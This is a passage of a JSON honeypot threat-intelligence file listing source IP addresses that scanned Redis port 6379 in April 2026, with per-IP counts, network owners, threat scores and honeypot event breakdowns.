      "last_seen": "2026-04-16T19:15:05.136Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 72.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 9.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 104295,
        "days_active_30d": 11,
        "ports_targeted_30d": 64849,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-04-16T19:12:21+00:00",
        "last_seen_30d": "2026-04-26T09:21:53.365000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 94352,
        "Honeytrap": 9885,
        "Dionaea": 11,
        "ConPot": 10,
        "Cowrie": 10,
        "Miniprint": 8,
        "Mailoney": 6,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "36.135.17.52": {
      "attack_count": 19,
      "first_seen": "2026-04-21T23:46:01.000Z",
      "last_seen": "2026-04-29T06:35:42.182Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134810,
      "as_org": "China Mobile Group JiLin communications corporation",
      "threat_score": 28.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T23:46:01+00:00",
        "last_seen_30d": "2026-04-29T06:35:42.182000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 3
      }
    },
    "123.56.146.124": {
      "attack_count": 18,
      "first_seen": "2026-04-10T18:01:37.000Z",
      "last_seen": "2026-04-17T07:00:51.718Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T18:01:38+00:00",
        "last_seen_30d": "2026-04-17T07:00:51.718000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 2
      }
    },
    "71.6.232.28": {
      "attack_count": 18,
      "first_seen": "2026-04-01T05:00:59.000Z",
      "last_seen": "2026-04-01T05:02:36.930Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 89.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 30,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T03:59:05.916000+00:00",
        "last_seen_30d": "2026-04-30T07:28:49.422000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Cowrie": 8,
        "Redishoneypot": 6,
        "Dionaea": 3,
        "Honeytrap": 3,
        "Mailoney": 2,
        "H0neytr4p": 1,
        "Tanner": 1
      }
    },
    "138.68.58.48": {
      "attack_count": 17,
      "first_seen": "2026-04-03T03:41:17.000Z",
      "last_seen": "2026-04-03T03:51:20.254Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 63.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.6,
        "persistence": 20.8,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 25,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T03:41:17+00:00",
        "last_seen_30d": "2026-04-27T22:37:21.891000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 99,
        "Honeytrap": 82,
        "Redishoneypot": 3
      }
    },
    "194.163.170.77": {
      "attack_count": 16,
      "first_seen": "2026-04-08T06:56:17.000Z",
      "last_seen": "2026-04-16T14:05:37.462Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-08T06:57:23.983000+00:00",
        "last_seen_30d": "2026-04-16T14:05:37.462000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3
      }
    },
    "20.169.104.239": {
      "attack_count": 16,
      "first_seen": "2026-04-24T02:09:02.000Z",
      "last_seen": "2026-04-24T02:12:04.253Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 60.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.8,
        "persistence": 18.3,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 22,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-07T04:12:43.986000+00:00",
        "last_seen_30d": "2026-04-28T18:23:21.047000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Honeytrap": 7,
        "Redishoneypot": 3,
        "H0neytr4p": 1
      }
    },
    "20.29.21.127": {
      "attack_count": 16,
      "first_seen": "2026-04-07T00:35:28.000Z",
      "last_seen": "2026-04-07T00:38:47.514Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 9.2,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 11,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T04:44:44.004000+00:00",
        "last_seen_30d": "2026-04-11T00:27:11.364000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Honeytrap": 7,
        "Redishoneypot": 3
      }
    },
    "160.119.76.40": {
      "attack_count": 15,
      "first_seen": "2026-04-24T08:47:58.000Z",
      "last_seen": "2026-04-24T08:49:30.102Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 67.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 23.3,
        "persistence": 15.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 212,
        "days_active_30d": 19,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-06T07:34:09+00:00",
        "last_seen_30d": "2026-04-24T21:20:27.230000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 146,
        "Honeytrap": 51,
        "Ipphoney": 5,
        "Cowrie": 4,
        "Dionaea": 3,
        "Redishoneypot": 3
      }
    },
    "20.163.15.196": {
      "attack_count": 15,
      "first_seen": "2026-04-12T07:57:47.000Z",
      "last_seen": "2026-04-12T07:59:15.570Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 58.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.6,
        "persistence": 23.3,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 28,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T21:53:28+00:00",
        "last_seen_30d": "2026-04-28T20:10:06.249000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Honeytrap": 4,
        "Redishoneypot": 3
      }
    },
    "20.168.120.149": {
      "attack_count": 15,
      "first_seen": "2026-04-15T17:50:37.000Z",
      "last_seen": "2026-04-15T17:52:34.158Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 34.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 15.0,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 18,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T04:29:55+00:00",
        "last_seen_30d": "2026-04-20T02:40:18.123000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Honeytrap": 4,
        "Redishoneypot": 3
      }
    },
    "47.92.97.77": {
      "attack_count": 15,
      "first_seen": "2026-04-01T15:12:29.000Z",
      "last_seen": "2026-04-25T10:29:01.548Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 4.8,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T15:13:33.485000+00:00",
        "last_seen_30d": "2026-04-25T10:29:01.548000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3
      }
    },
    "91.231.89.29": {
      "attack_count": 15,
      "first_seen": "2026-04-01T02:42:16.000Z",
      "last_seen": "2026-04-01T02:43:26.358Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 93.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 207,
        "days_active_30d": 30,
        "ports_targeted_30d": 137,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T02:39:56.311000+00:00",
        "last_seen_30d": "2026-04-30T03:31:22.944000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 166,
        "Honeytrap": 35,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Ciscoasa": 1
      }
    },
    "91.230.168.212": {
      "attack_count": 14,
      "first_seen": "2026-04-10T19:44:35.000Z",
      "last_seen": "2026-04-10T19:45:42.853Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 82.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 194,
        "days_active_30d": 30,
        "ports_targeted_30d": 53,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T03:29:44.190000+00:00",
        "last_seen_30d": "2026-04-30T19:52:41.959000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 160,
        "Honeytrap": 31,
        "Redishoneypot": 3
      }
    },
    "91.230.168.242": {
      "attack_count": 13,
      "first_seen": "2026-04-23T15:48:09.000Z",
      "last_seen": "2026-04-23T15:49:32.046Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 63.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.9,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 26,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T15:01:12+00:00",
        "last_seen_30d": "2026-04-26T12:25:21.809000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 29,
        "Honeytrap": 17,
        "Redishoneypot": 3
      }
    },
    "134.199.145.53": {
      "attack_count": 12,
      "first_seen": "2026-04-27T08:03:05.000Z",
      "last_seen": "2026-04-27T08:04:15.122Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 64.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 359,
        "days_active_30d": 1,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-27T08:03:05+00:00",
        "last_seen_30d": "2026-04-27T08:13:49.530000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 219,
        "Honeytrap": 119,
        "Dionaea": 7,
        "Redishoneypot": 6,
        "Cowrie": 4,
        "Honeyaml": 3,
        "Ipphoney": 1
      }
    },
    "199.45.155.91": {
      "attack_count": 12,
      "first_seen": "2026-04-27T02:41:22.000Z",
      "last_seen": "2026-04-27T02:42:33.665Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 71.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.1,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 21,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-07T06:23:01+00:00",
        "last_seen_30d": "2026-04-27T02:42:33.665000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Honeytrap": 15,
        "Miniprint": 7,
        "Redishoneypot": 6,
        "Ipphoney": 1
      }
    },
    "34.62.98.30": {
      "attack_count": 12,
      "first_seen": "2026-04-27T13:20:58.000Z",
      "last_seen": "2026-04-27T13:22:05.611Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 29.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T11:09:15.433000+00:00",
        "last_seen_30d": "2026-04-27T13:22:05.611000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 32,
        "Dionaea": 29
      }
    },
    "66.132.172.181": {
      "attack_count": 12,
      "first_seen": "2026-04-23T19:40:30.000Z",
      "last_seen": "2026-04-23T19:41:39.729Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 156,
        "days_active_30d": 30,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T23:31:26+00:00",
        "last_seen_30d": "2026-04-30T05:21:41.072000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 89,
        "Honeytrap": 44,
        "ElasticPot": 8,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "Dionaea": 3
      }
    },
    "193.163.125.13": {
      "attack_count": 11,
      "first_seen": "2026-04-04T03:28:38.000Z",
      "last_seen": "2026-04-25T03:39:11.882Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 70.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 30,
        "ports_targeted_30d": 118,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T20:21:02.266000+00:00",
        "last_seen_30d": "2026-04-30T21:30:11.760000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 120
      }
    },
    "117.72.13.101": {
      "attack_count": 10,
      "first_seen": "2026-04-11T03:11:08.000Z",
      "last_seen": "2026-04-13T14:08:13.056Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 141679,
      "as_org": "China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch",
      "threat_score": 5.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-11T03:12:09.177000+00:00",
        "last_seen_30d": "2026-04-13T14:08:13.056000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "130.107.183.10": {
      "attack_count": 10,
      "first_seen": "2026-04-13T02:55:34.000Z",
      "last_seen": "2026-04-13T02:56:42.950Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T02:55:34+00:00",
        "last_seen_30d": "2026-04-13T02:56:42.950000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "150.158.97.56": {
      "attack_count": 10,
      "first_seen": "2026-04-02T19:55:38.000Z",
      "last_seen": "2026-04-08T11:50:38.258Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-02T19:56:47.587000+00:00",
        "last_seen_30d": "2026-04-08T11:50:38.258000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "146.56.175.64": {
      "attack_count": 9,
      "first_seen": "2026-04-04T10:02:02.000Z",
      "last_seen": "2026-04-04T10:03:04.114Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T10:02:02+00:00",
        "last_seen_30d": "2026-04-04T10:03:04.114000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "20.88.179.169": {
      "attack_count": 9,
      "first_seen": "2026-04-05T20:56:17.000Z",
      "last_seen": "2026-04-05T20:57:25.937Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T20:56:18+00:00",
        "last_seen_30d": "2026-04-05T20:57:25.937000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "205.210.31.171": {
      "attack_count": 9,
      "first_seen": "2026-04-13T20:21:22.000Z",
      "last_seen": "2026-04-13T20:23:03.372Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 153,
        "days_active_30d": 30,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T06:29:01+00:00",
        "last_seen_30d": "2026-04-30T06:49:42.312000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 91,
        "Honeytrap": 27,
        "ConPot": 19,
        "Dionaea": 5,
        "Mailoney": 5,
        "Redishoneypot": 3,
        "Cowrie": 2,
        "Dicompot": 1
      }
    },
    "205.210.31.173": {
      "attack_count": 9,
      "first_seen": "2026-04-10T04:39:40.000Z",
      "last_seen": "2026-04-10T04:41:18.967Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 83.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 29,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T05:23:36+00:00",
        "last_seen_30d": "2026-04-30T08:10:06.823000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 57,
        "Honeytrap": 19,
        "Redishoneypot": 3,
        "Dionaea": 1
      }
    },
    "205.210.31.50": {
      "attack_count": 9,
      "first_seen": "2026-04-24T23:05:50.000Z",
      "last_seen": "2026-04-24T23:07:29.105Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.7,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 29,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T04:01:18+00:00",
        "last_seen_30d": "2026-04-29T21:58:29.204000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 14,
        "Mailoney": 5,
        "Redishoneypot": 3,
        "ConPot": 2
      }
    },
    "205.210.31.82": {
      "attack_count": 9,
      "first_seen": "2026-04-06T19:01:43.000Z",
      "last_seen": "2026-04-06T19:03:18.759Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 30,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T04:11:22.004000+00:00",
        "last_seen_30d": "2026-04-30T02:08:53.033000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 84,
        "Honeytrap": 25,
        "ConPot": 3,
        "Dionaea": 3,
        "Redishoneypot": 3
      }
    },
    "35.195.219.31": {
      "attack_count": 9,
      "first_seen": "2026-04-27T13:20:40.000Z",
      "last_seen": "2026-04-27T13:21:55.659Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T13:20:41+00:00",
        "last_seen_30d": "2026-04-27T13:21:55.659000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
